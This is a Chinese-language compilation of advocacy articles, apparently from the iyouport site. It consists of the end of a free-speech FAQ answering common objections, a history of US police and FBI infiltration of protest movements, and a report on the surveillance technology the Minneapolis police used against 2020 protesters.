排我们的社会，什么是真，什么是假，我们应该打什么战争，我们应该通过什么政策，我们应该把谁关进监狱度过余生，以及谁可以控制我们的政府。这是一项极其严肃的工作。

作为一个民主共和国的公民，应该是具有挑战性的；它应该对其公民提出一些要求。它需要某种最低限度的坚韧和对自我管理的承诺，以了解困难的问题，并据此进行争论、组织和投票。正如最高法院在1949年 Terminiello 诉芝加哥案中所指出的那样，“当言论诱发不安的状况、造成对现状的不满、甚至激起人们的愤怒时，确实可以最好地实现其崇高的目的”。

在学习、自治和决策方面对公民没有任何要求的唯一模式是专制模式。通过论证免于言论的自由比言论自由本身更重要，其倡导者们不知不觉地接受了十九世纪沙皇权力的*反*言论理由：俄罗斯农民拥有最好的“自由”，即 免于自由本身的负担的自由（因为它肯定是一种负担）。

例如，见《危险的想法：西方审查制度简史，从古人到假新闻》，作者：Eric Berkowitz。

3、主张：“言论自由是有权势者的工具，而不是无权势者的工具”。

答案：有权势的人在几乎任何政府体制下都很自在。他们不是需要言论自由的人。而言论自由之所以存在的目的正是为了保护少数人的意见和那些不受权贵欢迎的人。

在历史上的大部分时间里，富人和有权势的人都受到他们所拥有的财富和权力的保护。然后，当民主国家首次出现时，多数人制定了法律，正因为如此，他们的多数人立场受到了法律的保护。您只需要一个单独的言论自由概念或像第一修正案这样的法律来保护那些还没有被投票权或其他权力所保护的人、想法和论点。

根据定义，执行规则的人是有权力的。在一个对言论自由有强有力保护的国家，有权势的人被禁止利用法律制度来攻击无权势的人的言论。如果你授权政府进行审查，你就是在给强者更多的权力。

任何人能相信当权者会用这种权力来保护无权无势的人吗？这种想法没有得到任何历史的证实。如果你想给谁强大的审查工具来保护被边缘化的人，你相信他们会很好地使用它吗？你认为你的政府会用这种权力做什么？或者，你相信下一任政府会用这种权力来做什么？在通过一项新的法律之前，一个很好的智力练习就是：考虑你最坏的敌人

会如何使用这项法律—— 在想象对言论自由的限制时，思考这个问题甚至更重要。

4、主张：“言论自由权意味着政府不能因为你说的话而逮捕你；但它仍然让其他人有赶走你的自由。”

答案：不是的。下面这幅流行的xkcd漫画是错误的。第一修正案限制了政府可以做什么，但言论自由是比这更大的事。https://xkcd.com/1357/

这幅漫画经常被用来作为否定言论自由的论点，但它是错误的：它不仅混淆了第一修正案的法律和言论自由，甚至没有正确理解第一修正案。

言论自由的概念是一个更大、更古老、更广泛的概念，而不是它在第一修正案中的具体应用。对言论自由重要性的信念是激发第一修正案的原因；是它赋予第一修正案以意义，也是它在法律上的支撑。

但是，对言论自由的强有力的文化承诺是维持其在我们机构中的实践的原因—— 从高等教育，到真人秀节目，到多元化的民主本身。言论自由包括小的自由主义价值观，这些价值观曾经在美国常见的成语中被表达出来，如各取所需，每个人都有权发表自己的意见，这是一个自由国家。这些文化价值也出现在法律意见中；正如罗伯特·H·杰克逊法官在西弗吉尼亚州教育委员会诉巴内特案中指出的那样，“强制性的意见统一只能达到墓地的一致性”。

虽然美国宪法在表面上只限制政府行为，但其应用有时需要政府保护你不被其他公民审查。例如，政府有责任保护你不被不喜欢你的想法的敌对暴徒攻击，或保护你的公开演讲不被质问者的否决权打断。

第一修正案还禁止政府官员以许多方式惩罚你的言论，而这些方式并没有上升到逮捕你的程度。仅举一例，由于州立大学的行政人员是政府行为者，他们不能因为不喜欢你的传单，就把它从公共留言板上撕下来。

对言论自由的信仰意味着你应该缓慢地给某人贴上标签，如果你认为他们的意见是完全不可接受的。当然，你可以把一个混蛋踢出你自己的房子，但这与把一个人踢出开放的社会或公共论坛，有着很大的不同。xkcd漫画经常被用来让人们免于实践基于倾听的小写的‘民主’的价值。

阅读更多：《保护言论自由的最佳方式是什么？- Ken White 和 Greg Lukianoff 辩论取消文化》。霍姆斯将查尔斯·申克散发的小册子比作“火”：「在一个民主国家，每个人都必须有权利说他是否愿意参军。只有在不受控制的权力统治的国家里，专制者才能强迫他的臣民作战」。(美国国家档案馆)

5、主张：“但你不能在拥挤的剧院里大喊着火了！”

回答：任何说“你不能在拥挤的剧院里大喊着火”的人，都表明他们不懂什么是“火”。任何说“你不能在拥挤的剧院里大喊着火”的人，都表明他们对言论自由的原则或言论自由的法律或历史一窍不通。

这句老话是为审查制度辩护人最喜欢引用的，它早就该被丢弃了。它被反复地、不适当地用来为言论限制做辩护。人们一直在使用这个陈词滥调，好像它有某种法律意义似的，而第一修正案的律师则不耐烦地指出，事实上，正如著名律师艾伦·德肖维茨所说，它是“逻辑论证的一个漫画”。肯·怀特已经撰文对这种误解进行了精彩而彻底的抨击。在宣称你最不喜欢的语言类似于“在拥挤的剧院里喊着火了”之前，请先阅读这篇文章。

这句话是对1919年最高法院意见中一个类比的*错误引用*，该意见支持监禁三个人—— 报纸编辑、小册子出版商和公共演讲者，他们认为征兵是错误的。法院说，战时的反战言论就像“在剧院里假惺惺地喊着火，引起恐慌”，它用一个可疑的类比来证明禁令的合理性，即第一修正案不保护煽动人们进行身体暴力的言论。但是，最高法院在50多年前就放弃了该案的逻辑。这个套路起源于为早已被视为违宪的审查制度做辩护，这表明它作为衡量权利限制的标准是多么无用。然而，这个拥挤的剧院的陈词滥调至今仍然存在，仿佛它是什么古老的法律原则似的。

哦，请注意，法院的反对意见只是针对“虚假地喊着火”：如果在拥挤的剧院里确实有起火，请务必让大家知道。

「图」

6、主张：“言论自由的论点已经过时了”。

答案：约翰·斯图亚特·密尔在《论自由》中的核心论点仍然是不败的，包括他支持言论自由的最有力的论点之一 —— 密尔三叉戟，至今我从未听说过任何有说服力的反驳。

密尔三叉戟认为，对于任何特定的信仰，有三种选择：

- 1、你是错的，在这种情况下，言论自由对于允许人们纠正你是至关重要的。
- 2、你是部分正确的，在这种情况下，你需要自由言论和相反的观点来帮助你更准确地理解真相是什么。
- 3、你是100%正确的。在这种不太可能的情况下，你仍然需要人们与你争论，试图反驳你，并试图证明你的错误。为什么？因为如果你从来不需要为你的观点辩护，那么很有可能你并没有真正理解它们，你持有它们的方式与你持有偏见或迷信一样。只有通过与相反的观点争论，你才会明白为什么你所相信的是真的。

7、主张："仇恨言论法对减少不容忍现象很重要，即使可能有一些滥用的例子"。

答案：自从欧洲广泛通过所谓的仇恨言论法以来，那里的宗教和种族不容忍现象只是在增加。而在同一时期，美国的民族和宗教容忍度有所提高。

至少有十几个西欧国家有仇恨言论法，其中许多法律与他们对言论自由的法律或历史承诺相悖。但是，即使这些法律已经存在多年，根据大多数衡量标准，西欧的容忍度不如美国。

西欧作为一个整体在反犹主义指数上的得分是24%，这意味着大约24%的人口持有反犹主义态度，尽管他们的许多仇恨言论法明确禁止否认大屠杀的行为。在美国，由于没有这样的法律，反犹主义指数排名为10%。

如果仇恨言论法真的能减少不容忍现象，人们就理应期望在有这种法律的地方看到更少的仇恨犯罪。然而，在2019年，在美国，每10万人中有2.61起仇恨犯罪；在丹麦，每10万人中有8.08起；在德国，有10.34起；而在英国，有高达157.67起。

- 如果您错过了《封锁言论就能制止仇恨吗？不》

对仇恨言论的限制也没有阻止不容忍的蔓延。1986年，英国通过了一项法律，禁止"可能挑起种族仇恨的言语或行为"；然而，在20世纪90年代，种族容忍度下降。尽管自20世纪80年代以来就有仇恨言论法，但德国的仇视伊斯兰教和反犹主义却在增加。法国在1990年通过了 Gayssot 法案，将否认大屠杀的行为定为非法，然而最近在2019

年，该国的反犹主义指数得分是17%。

而且我不仅仅相信打击仇恨言论未能减少不容忍，我认为有充分的理由相信它有助于增加不容忍。毕竟，审查制度一般不会改变人们的意见，但它确实使人们更有可能仅仅与自己意见一致的人交谈。而当人们只与政治上相似的人交谈时会发生什么呢？有据可查的群体/政治两极化的影响占据了上风，说话者在接触到不同意见时可能会缓和自己的信仰，但通过群体两极化的力量，一个人的仇恨方向就变得更加激进了。

8、断言：“言论自由不过是保守派的一个谈话要点”。

答案：言论自由既不是保守派也不是自由派的观点。它是一个永恒的激进的思想。

在我们这个无可救药的两极分化的社会中，有太多的人一开始就问：那么，言论自由是保守的还是进步的思想？它是右翼的还是左翼的？如果答案是左翼，大批右翼人士就认为可以忽略它；如果答案是右翼的，许多左翼人士就会觉得不必认真对待它。在不同的时期，甚至在最近的历史上，美国的两个主要政党都声称代表言论自由，同时又都对言论自由抱有极大的敌意。

真正支持自由表达 —— 特别是你不同意的极端政治言论—— 是一个罕见的、事实上是历史上激进的想法。我认为这一点非常重要，我甚至把我的博客命名为 “永恒的激进思想”。

9、主张：“如果对言论自由的限制是以文明的名义进行的，那么这些限制就是可以的”。

回答：在某些情况下，它们可能是合理的，但是，一般来说，什么是文明，完全是由有权势的人或多数人定义的。他们倾向于将任何他们不同意的言论视为 “不文明”，而将任何他们同意的不文明言论视为 “正义的愤怒”。（推荐：《论自由》，约翰·斯图尔特·米尔）

10、主张：“你需要言论限制来保护文化多样性”。

答案：很少有什么想法比什么算作礼节、或什么构成正确或可接受的言论更具有文化多样性的了。这些想法在不同的国家、不同的年份、不同的男人和女人之间、特别是不同的阶级之间，都是不同的。事实上，在一个有多种文化的环境中保持多样性，恰恰需要而不是禁止对遵守不同礼节规范的言论的高度宽容。

11、主张：“言论自由是一个过时的想法；现在是新思维的时候了”。

答案：审查制度是一个*更*古老的想法，与人类物种一样古老；相对而言，言论自由才是新事物。正如纳特·亨托夫曾经引用《洛杉矶时报》前编辑菲尔·克比的话写道“审查制度是人类本性中最强大的驱动力；性位居其次”。推荐这本书，纳特·亨托夫（Nat Hentoff）的《我的言论自由—— 但不是你的言论自由》。

12、主张：“我相信言论自由，但不相信亵渎神明的行为”。

回答：你不能在声称相信言论自由的同时，为亵渎神明的行为划出一个例外。言论自由的理念正是为了解决将非正统观点贴上异端标签的倾向而产生的。推荐这篇文章《我们都是亵渎者》。

结语：还有更多答案待定

「图」

简短地强调最后一个论点：言论自由是非常有价值的，首先是因为，如果没有它，就没有办法了解这个世界的实际情况。了解人类的认知，甚至是不正确的认知，总是具有科学或学术价值，而且，在一个民主国家，了解人们真正的信仰是至关重要的—— 如果你认为即便没有公开性也能知道人们真正相信什么，这不仅是狂妄，而且是魔幻的思维。认识世界的过程比我们通常所理解的要艰辛得多。它从这一点开始：承认你对任何事的理解都可能是错误的，对一切事物（包括我们彼此）保持真正的好奇心，并永远记住，最好是了解世界的真实情况—— 而且探寻这个问题的过程永远不会结束。〇

FREE SPEECH FAQ

原文

警察渗透抗议运动简史 - iyouport

社会反抗和思考维稳面面观

【2020年9月22日存档】渗透才是常态。没有被渗透的运动几乎不存在。但为什么媒体机构甚至遭遇渗透的活动家都不愿提起这些事实呢？

当 Harry、George、Tom、和 Joe 出现在费城外的一个抗议者租借的仓库中时，组织者立即产生了怀疑。这些人自称是宾夕法尼亚州斯克兰顿地区帮忙搭建游行道具的“工会木匠”，搭建道具正是抗议者所需要的帮助。

这些抗议者们正在为即将到来的2000年共和党全国代表大会做准备，在该会议上共和党将提名乔治·W·布什。全国各地的同盟组织者也正在为洛杉矶的民主党全国代表大会计划类似的抗议活动。

大型的人偶是当时社会正义运动的标志之一。运动组织者于1999年11月在西雅图成功抗议世界贸易组织、2000年4月在华盛顿特区抗议国际货币基金组织和世界银行，并设法重塑了全球化政治。

高耸的人偶在街道上拖动，在单独建造的花车上，投射出节日的气氛，成功地捕捉到富有同情心的媒体报道，并反驳了当局的说法，当局一直在嘲讽抗议者“只是虚无主义者，只会专注于破坏财产”。

这四名木匠很擅长制作这种人偶，但是，他们的很多特点让抗议者保持警惕，怀疑他们实际上是渗透者。

在交谈中显示，“他们的政治性不强，也不太了解情况”，组织者 Kris Hermes 在他的回忆录《Crash the Party》中写道。他说，这些人比大多数抗议者更年长，肌肉更发达，他们坚持在工作时喝啤酒，尽管组织者禁止在仓库里喝酒。在讨论和会议中，这些人主张抗议者有权破坏财产和拒捕。该运动是有意去除等级制度的，这导致组织者几乎没有能力对渗透的怀疑目标采取行动，即使他们越来越善于发现这种挑衅者。

8月1日，也就是共和党大会的第一天，整整一天时间警察包围了这个抗议者租借的仓库，实施了大规模逮捕，并没收了所有人偶、花车、标语和其他用于即将举行的游行活动的材料。

警方撒了谎，他们公开称抗议组织者一直在“策划暴力示威”，并暗示仓库里藏有制造炸弹的材料。事实上完全不存在。

而以这次围捕为标志的整个一周内，抗议领导人遭到了不断发生的大规模逮捕，被捕者在监狱内遭到殴打，甚至被要求缴纳100万美元的天价保释金。

直到仓库的突袭搜查令被曝光时，才得以证实：那4个木匠 **Harry, George, Tom** 和 **Joe** 是被派来潜入抗议者组织并 *制造突袭搜查借口* 的州警。

所有针对游行人偶的指控最终都被撤销了，虽然导致该市在诉讼和解上花费了数百万美元（大部分法律工作是由律师 Larry Krasner 领导的，他现在是费城地区律师）。

正如上述故事和许多同类故事所说明的那样，一个历史事实是，执法部门经常将煽动者渗透到进步的政治运动中，这些人的目的就是煽动他人参与暴力。同时，这些挑衅者自己基本不会参与实际的暴力。

关于政治渗透的详细分析见下面系列：

- 《过去和现在的线人：政治渗透是如何操作的？（1）》
- 《针对反抗运动的政治渗透：政府线人如何操作（2）》
- 《渗透破坏、分裂和误导在抗议活动中广泛存在：政治渗透如何操作（3）》
- 我们在对BLM运动的分析中（在倒数第2部分）强调过这点，见《当我们陷入困境：中国社会能从美国的反抗运动中学到什么》

由于各种原因，媒体很少关注这些渗透者。也是为什么关于抗议活动的报道中你几乎看不到对政治渗透的曝光 —— 而事实上几乎所有抗议运动都有被渗透，

一方面，企业媒体（就是那些主流媒体）从来都不热衷于质疑政府在抗议运动或重大示威活动中的行动，除非这种行动严重越界或直接针对媒体成员。

从抗议者和运动组织者的角度来看，渗透进入的挑衅者相关问题也充

满了争议，因为揭露渗透可能会导致被认为偏执，破坏团结和运动建设。

这些有目的的渗透行为常常被与“外部煽动者”的特例混为一谈，并被当局或反对抗议的其他人用来扭曲抗议运动本身的合法性（渗透者制造的暴力事件被描述为“外部煽动者”并让真正的非暴力抗议者承担责任），所有这些因素都使一些抗议者或其支持者有意地淡化被渗透的现实。

围绕暴力非暴力的激烈讨论，以及在舆论错误的一面逐渐消失的生死攸关的后果，使得进行细致讨论的空间变得很小。

如果可以进行这样的对话，就很容易揭示人群的愤怒与其最终采取的行动之间的区别。

愤怒的人群仍然保持着非暴力状态，并维护了零财产损失，其合法的愤怒程度并不亚于暴力愤怒者。通常，唯一的区别在于是否触发了愤怒以及如何行动。

在今年美国各地发生的**BLM**抗议运动中，使暴力升级的明显行为者并不是抗议者，甚至不是极右翼渗透者，而是警察自己。

在一次又一次的集会中，人们注意到抢劫和破坏只是在警察冲撞并殴打人群、或者向人群发射催泪瓦斯或橡皮子弹后才开始的。在其他情况下，抗议者只要采取任何一项行动就会引来镇压。

鉴于抗议活动的混乱性质，很可能每个人都应谴责财产损失。但是随着抗议活动的继续，特朗普呼吁采取更加暴力的镇压方法，值得牢记的是：警察挑衅者在抗议活动中可能发挥的作用。President of the Senate of the Italian Republic Francesco Cossiga attending the 16th National Congress of the Christian Democratic Party in Rome in February 1984. Photo: Alberto Roveri/Mondadori Portfolio by Getty Images

2008年，二战后意大利最重要的政治人物之一弗朗切斯科·科西嘉（Francesco Cossiga）向世人展示了难得一见的面对大规模抗议活动时政府高层人士有多变态。

Cossiga 曾担任过意大利的总理，然后是总统。在此之前，在70年代末，他领导了内政部。在此期间，他因镇压学生领导的左翼示威运动的残暴行为而臭名昭著。而纽约时报是这样报道1977年的情况

的：”学生中的极端分子在意大利的一些城市制造了混乱，出现了枪击和破坏的浪潮。”

由于西尔维奥·贝卢斯科尼（Silvio Berlusconi）的政府也面临着类似的威胁性抗议活动，Cossiga 敦促他们重演他的渗透镇压剧本：

[他们]应该效仿我担任内政部长时所做的那样。把警察从街道和大学撤走，用随时准备好的挑衅者渗透到那些抗议运动中去，在10天内挑拨抗议者去破坏商店、烧毁汽车、放火烧城市。然后，在民众的支持下 …… 警察应该毫不留情地把他们全部送进医院。不是逮捕他们，因为检察官会马上释放他们，而是把他们全部揍扁，揍扁鼓励他们参加抗议的教授。

时报似乎曾经提到过政府的挑衅者是一些暴力事件的幕后黑手的可能性 —— 然而，不是作为事实提出，而是作为对“左翼政党和报纸”的指责。

Cossiga 曾是宪法学教授，是所谓的中间派天主教民主党人。1979年他担任总理时，吉米-卡特的驻意大利大使认为这是一个“极好的发展”，Cossiga 与美国保持着紧密的关系。

Cossiga 和今天美国的抗议活动之间没有直接的联系，但是，他的例子表明，相信看似合理的、有声望的人物将渗透挑衅者这种镇压策略视为合法，这并不是什么阴谋论 —— 即使他们中的大多数人在公开场合装模作样。

政府使用挑衅者渗透抗议运动的“最佳记录”发生在1956年至1971年联邦调查局的所谓反情报计划期间（COINTELPRO）。

之所以现在您能看到这些文件，是因为一群公民闯入了位于宾夕法尼亚州的联邦调查局办公室并拿走了这些文件 —— 巧合的是，此地距离2000年被警方渗透并大扫荡的那个抗议者的仓库只有很短的车程 —— 然后他们将这些文件传递给了媒体。这又导致了国会的调查，从而曝光了更多的内幕。

一个臭名昭著的例子是，1970年5月，一名为塔斯卡卢萨警察和联邦调查局工作的线人在对肯特州立大学枪击事件的抗议行动期间烧毁了阿拉巴马大学的一栋建筑。警方随后宣布，“示威者正在进行非法集会”，并借机逮捕了150名和平示威者。

在另一个著名的案例中，一个绰号为“Tommy the Traveler”的男子

访问了纽约州的许多大学，他冒充反抗组织 “Students for a Democratic Society” 的成员。

他鼓励抗议者去绑架一名议员，并提供有关如何制作燃烧瓶的培训。霍巴特学院的两名学生按照他的建议行事，并炸毁了校园ROTC大楼。最终才知道，此人的全名叫 **Tommy Tongyai**，为当地警察部门和联邦调查局工作。

相关恶性渗透事件的清单很长，一直都摆在那里。联邦调查局的一名线人自称是约翰·伯奇协会的成员，他帮助组装了定时炸弹并将其放置在军车上。（约翰·伯奇协会至今都坚称没有此人的会员资格记录。）

渗透到反抗组织 Weather Underground 的联邦调查局线人参与了对辛辛那提公立学校的轰炸。

越战退伍军人协会的一位著名成员 —— 同时也是联邦调查局的线人 —— 呼吁进行 “射击和轰炸”，他的倡导显然确实导致了轰炸和炸弹威胁。

在西雅图，联邦调查局的线人将一名叫 Larry Ward 的年轻黑人带到一家解决住房歧视问题的房地产办公室，并鼓励他在那儿放炸弹。而警察已经在那里等着了，他们杀死了 **Ward**。

十三名黑豹成员被指控 “密谋炸毁自由女神像”，理由是他们收到了60支炸药 —— 而炸药的提供者就是联邦调查局的一名线人。

1971年，有28人闯入联邦大楼破坏文件后，联邦调查局的一名线人吹嘘说：“我向他们传授了他们能做到这点所需要的全部。” 当他的角色被揭露时，28人全部无罪释放。

您可以在这里下载上图中这套文件（5部分）：patreon.com/posts/38457296

联邦调查局还允许极右翼组织的线人参与针对进步主义者的暴力。3K党线人 Gary Thomas Rowe 在1960年向联邦调查局提供了三周的线报，3K党计划在从北部到达阿拉巴马州的途中袭击民权组织自由乘车者 **(Freedom Riders)**。

FBI 待命，并允许发动袭击。当地警察给3K党15分钟的时间来攻击民权活动家。在那15分钟内，这群白人至上主义者 —— 包括 **Rowe** —— 点燃了民权活动家乘坐的公交车，试图将他们活活烧死。

正是这个 Rowe 还参与了1963年发生在阿拉巴马州伯明翰市第16街浸信会教堂的轰炸，当时炸死了四名年轻女孩。

还是这个 Rowe，在1965年他与另外三名3K党成员一起在汽车上追捕并谋杀了 Viola Liuzzo，Liuzzo 是来自底特律的五个孩子的母亲，曾前往塞尔玛。

Rowe 因作证揭发合伙人而获得豁免权，而且林登·约翰逊（**Lyndon Johnson**）的总检察长还给了他一份担任美国法警的工作。

没有与联邦调查局有明显联系的地方警察线人也参与了这类渗透。一名副警长在纽约州立大学布法罗分校诱骗学生，并帮助学生制造和测试炸弹。

另一名警察线人潜入东北伊利诺伊州大学假扮成学生，带鼓励反抗组织 “Students for a Democratic Society” 的学生们破坏军车。

1971年 COINTELPRO 阴谋被揭露曝光之后不久，FBI宣布将停止此类渗透活动。FBI助理主任 Mark Felt 现在也被称为 “Bob Woodward 和 Carl Bernstein”的著名 “深喉” 消息来源后来表示，联邦调查局没有做出任何努力来证明“ 宪法价值受到保护”。

FBI 究竟是否停止了渗透，谁也不知道。 1975年，一名线人告诉《纽约时报》，他一直从事类似 **COINTELPRO** 的渗透活动，他的工作包括怂恿左翼团体在**1972**年迈阿密共和党大会上炸毁一辆公车。

在很多案件中警察部队都采用了相同的渗透战术。 1978年，一名卧底警察怂恿两名不幸的年轻活动家让他们去夺取对波多黎各电视塔的控制权。而当他们到达时，直接被埋伏在那里的**10**名警察枪杀。

显然，当波多黎各政府要求联邦调查局调查所发生的事时，联邦调查局给政府提供了一份明确的虚假证明。联邦调查局的一位高级官员后来称此举为 “掩护线人”。

911之后，**FBI** 重启了怂恿暴力的渗透者行动。

袭击发生后的十年中，当记者 Trevor Aaronson 检查美国对国际恐怖主义的起诉时，他发现了五个实际阴谋的例子。

证据显示，只有在联邦调查局及其线人的怂恿下，才有150人被指控。用 Aaronson 的话说那就是，“联邦调查局在制造恐怖分子方面的能力比逮捕恐怖分子方面要好得多。”

相同的渗透策略已被用来 *制造* 所谓的 “国内恐怖主义阴谋”。

2008年，环保活动家 Eric McDavid 因被指控 “密谋破坏加利福尼亚的Nimbus大坝” 而被判处20年徒刑。八年后，法官下令将他释放，因为联邦调查局保留的有关政府线人的证据曝光。

2012年，联邦调查局及其线人实质上创建了一个阴谋，他们用八磅重的C4炸药炸毁了克利夫兰的一座桥，并栽赃给5名占领运动的活动家。

最近，联邦调查局反恐部还发明了一种叫做 “黑人身份极端主义” 的镇压运动。正如FBI报告所描绘的那样，这次运动所造成的威胁与 **COINTELPRO** 时代针对黑人组织的威胁极为相似。

全国黑人执法组织说，此举 “复活了非裔美国人民权领袖曾经遭遇的历史消极遗产，这些民权领袖遭到联邦、州和地方执法机构的攻击。”

回到今天的局面。一方面，这段历史并不意味着FBI或当地警察机构在当前的抗议浪潮期间正在充当挑衅者；但另一方面，这确实证明了，寻求破坏示威活动和升级暴力的渗透手段的确是警察部门和间谍机构最喜欢的途径。〇

A SHORT HISTORY OF U.S. LAW ENFORCEMENT INFILTRATING PROTESTS

原文

警察用哪些监视方式瞄准抗议者？ - iyouport

政府的间谍行为社会反抗和思考维稳面面观

【2020年6月9日存档】警察机构使用许多监视工具，这些工具可以更轻松地定位和发现抗议者……

State Patrol officers block a road in Minneapolis on the fourth day of protests, May 29

【编者按】本文中所关联的部分文章尚未发布；待发布后将可以阅读。很抱歉，因为我们需要本文在抗议活动最激烈的阶段推出——这不仅是一场反抗演示，它也是一场理应备受瞩目的 #智能镇压演示，它来自全球技术镇压水平最高的两个国家之一美国，另一个是中国。作为中国的行动者，您需要和很有必要了解当权者所能使用的所有手段。

本文将关注监视技术角度，而非武装镇压 —— 忽略枪战和黑鹰战斗机等细节。技术监视是武装镇压的前提，也是一切社会控制的前提。

- 关于为什么只有两个国家镇压能力最强，这里有两本书来解释这个问题《“只有两个国家足以压制反叛”：AI, 大数据和反叛的未来》

明尼阿波利斯警察局拥有广泛的监视技术，可用于监视和瞄准抗议者，其中包括有争议的面部识别软件 **Clearview AI**，车牌阅读器、身体摄像头、以及视频分析工具。在下面看到对这些东西的基本介绍。

- 关于 Clearview AI《只要一张照片，陌生人就可以找到您的一切私密信息》
- 关于车牌阅读器《如何愚弄自动车牌阅读器？》
- 关于身体摄像机《身体相机适得其反吗？中国正在开始流行这种东西》
- 以及，《他们将中国视为榜样：泄露文件揭示政府间谍机构如何利用冠状病毒推动大规模监视的内幕》

邻近城市的警察机构都拥有使用技术监视居民的历史，该技术可以加快识别和逮捕任何人的过程。

如您所知，在明尼阿波利斯一名手无寸铁的黑人男子、和肯塔基州路易斯维尔一名手无寸铁的黑人妇女被警察致死事件发生后，全美各地 —— 包括明尼阿波利斯、丹佛、哥伦布和纽约等地 —— 都爆发了重大的抗议活动，人们表达悲痛和愤怒，要求结束警察的暴行。

在5月25日46岁的 George Floyd 死后，明尼阿波利斯市一直是抗议活动的中心，他由于一名白人警察的暴力而致死。在 Floyd 死亡前的那一刻，被摄像机拍下的画面显示他不断挣扎着想要呼吸，他反复告诉警察 “我无法呼吸”，“他们会杀了我”。

当抗议者走上街头时，他们每个人都在受到警察机构的监视，这些机构已经或正在试用或部署各种监控工具。

明尼阿波利斯警察局在过去已经使用了一系列的监视技术 —— 包括最臭名昭著的 **Clearview AI**，该技术从社交媒体上搜刮了数十亿张照片，为其面部识别工具提供动力。

附近的警察局，以及亨内平县警长办公室和明尼苏达州融合中心，都使用了Clearview 监视技术。

- 您可以将这种东西理解为 **自动化社交媒体情报**《什么是社交媒体情报？你的推特如何成为抓捕你的理由？》
- 防御《社交媒体情报和反情报基本工具手册：自我人肉（2）》

▸ 注：社交媒体情报被全球当权者所广泛采用，是为智能镇压的诸多主要手段之一。这一手段指的是，当权者从传统的 “反应式”—— 看到公民行动再出击，已转变为如今的“主动式”—— 从您产生反抗想法开始扼杀你。把具有同样想法的人连锅端。即 从少数派报告的预测性警务、到信息战的抢占信息渠道、再到从根本上扼杀意义，包括算法暴政。

我们总结并详细解释过这些手段，并在一定层面上给出过应对方法，您可以在下面回顾：

- 分析《“未来是一项方程式”—少数派报告的威胁不是这两年才有的新事物》
- 报道《数十个城市实验了”少数派报告”中描述的技术》
- 《“社会信用” 监视：英国、中国、美国和日本》

- 详细报告《看清信息战：2019全球有组织社交媒体操纵清单》
- 揭露《媒体巨头和硅谷的武器化算法沉默异议》
- 分析《异议的消亡：为什么网络变得同质化》
- 更多内容参见 列表-3 “心理战和信息战”

“这些监控技术不应该被用于镇压抗议者，” 美国公民自由联盟的高级立法顾问 Neema Singh Guliani 告诉 BuzzFeed 新闻。“一群人已经提出合理的担忧，他们现在会受到人脸识别或各种监视手段的威胁，仅仅因为他们选择了抗议。这是对执法部门拥有这类技术的整体担忧。”

根据 BuzzFeed 新闻查阅的文件显示，截至2月，明尼阿波利斯警察局的10多个警察已经使用 Clearview 进行了**160**多次搜查。包括明尼阿波利斯在内的 Hennepin 县警长办公室也在此进行了近**400**次搜查。而明尼苏达州刑事侦查局（BCA）的一个专门部门截至2月已经进行了近**40**次搜查。

邻近的圣保罗警察局截至2月已经使用 Clearview 的面部识别监视工具进行了近**40**次搜查。而明尼苏达州 Prior Lake 警察局在2019年7月至2020年2月期间，已经使用 Clearview 进行了超过**1100**次搜查。

Prior Lake 警察局没有回应置评请求。圣保罗警察局的一位发言人否认，尽管 BuzzFeed 新闻已经看到了 Clearview 的数据，并且向多个单位核实过。在过去，多个警察部门都是最初强烈否认的，在对其人员进行全面审查或审计后他们才被动撤回声明。

明尼阿波利斯警察局一直未就其使用面部识别技术的情况坦诚相告。7月，该部门的一名发言人告诉 “明尼阿波利斯星际论坛报”，该组织“没有” 部署该技术的计划，但是。据 BuzzFeed 新闻看到的数据显示，至少有一名与该组织相关的警察在当月就创建了一个 Clearview AI 账户。

当地记者 Tony Webster 获得的记录显示，亨内平县警长办公室自**2013**年起就部署了面部识别监视系统。今年7月，星际论坛报报道称，该办公室通过面部识别工具对嫌疑人在 Instagram 的照片进行了搜查，以显示出可能的匹配。

目前还不清楚这个面部识别工具是由 Clearview 公司提供的 —— 该公司从 Facebook、Instagram 和 Twitter 上提取了大量的照片来训练其软件 —— 还是另一家公司提供的。

明尼阿波利斯警察局还使用了大量其他监控工具。在2019年的一份白皮书中，该部门表示，它使用了自动车牌读取器，让警方可以在整个城市或特定区域内追踪一个人的动向。

2009年，该市向总部位于田纳西州的交通监视摄像头公司 PIPS Technology 支付了5万多美元，用于固定和移动车牌阅读器。

此外，根据 BuzzFeed 新闻通过公共记录请求获得的新收据显示，相邻的 Prior Lake 警察局从2016年10月到至少2019年9月为汤森路透 CLEAR 支付了数千美元的费用 —— 这是一个执法数据汇总工具，移民和海关执法局也曾使用过该工具。**CLEAR** 结合了手机、车牌读取器和实时逮捕记录的数据。这些数据汇总后，警方可以更快、更容易地追踪和逮捕任何人。

- 关于当局如何利用追踪手机抓捕抗议者《你的手机如何背叛了民主？》

明尼阿波利斯市警察局也使用一种叫 **Securonet** 的监控工具，警方可以上传手机录像，将其与闭路电视监控录像整合在一起，并在地图上可视化。

该警察局于2017年开始使用 Securonet，当时是在该市举办2018年超级碗比赛之前。该部门在2019年又与 Securonet 签订了一份合同。

今年，明尼阿波利斯市开始使用 **BriefCam**，这是一种高清监控摄像系统，在全市的铁路、公交和地铁系统中使用。明尼阿波利斯市警察局在白皮书中说，该市目前还没有将监控摄像头与实时或自动面部识别相结合，但是，它指出“可以想象，这种情况在不久的将来会有所改变。”

明尼阿波利斯市居民 Rich Neumeister 于1月30日向该市数据实践小组委员会提交了书面证词，敦促该市对面部识别监视的使用进行限制。但是在撰写本文时依旧没有任何限制。

他说，“如果不对这种繁重而强大的技术进行控制，我们的隐私人权和公民自由就会被削弱。”

明尼阿波利斯警察局还与警用身体摄像头公司 **Axon**签订了一份为期5年的合同，合同期至2021年。该协议涉及向该市所有888名宣誓就职的警察提供身体摄像头。警察局在2018年收到了国土安全部的拨款，帮助支付这些摄像头的费用。

- 《身体相机适得其反吗？中国正在开始流行这种东西》

明尼阿波利斯市还拥有一系列的闭路电视摄像机，警方可以调取这些摄像机中的任何影像。明尼阿波利斯警察局在一份监控白皮书中表示，该局使用 Arxys 公司的 **Milestone** 软件 —— 这是一种声称提供“视频运动检测” 和 “视频分析” 的工具 —— 来分析闭路电视录像。

- 《美国和中国在监视公民方面引领全球》

明尼阿波利斯警察局已经为 **ShotSpotter**支付了200多万美元，这是一种音频监控工具，可以监听枪声，并在地图上显示可能的枪击地点。该公司声明，到目前为止，没有证据表明 ShotSpotter 可以有效减少犯罪并使城市 “更安全”。

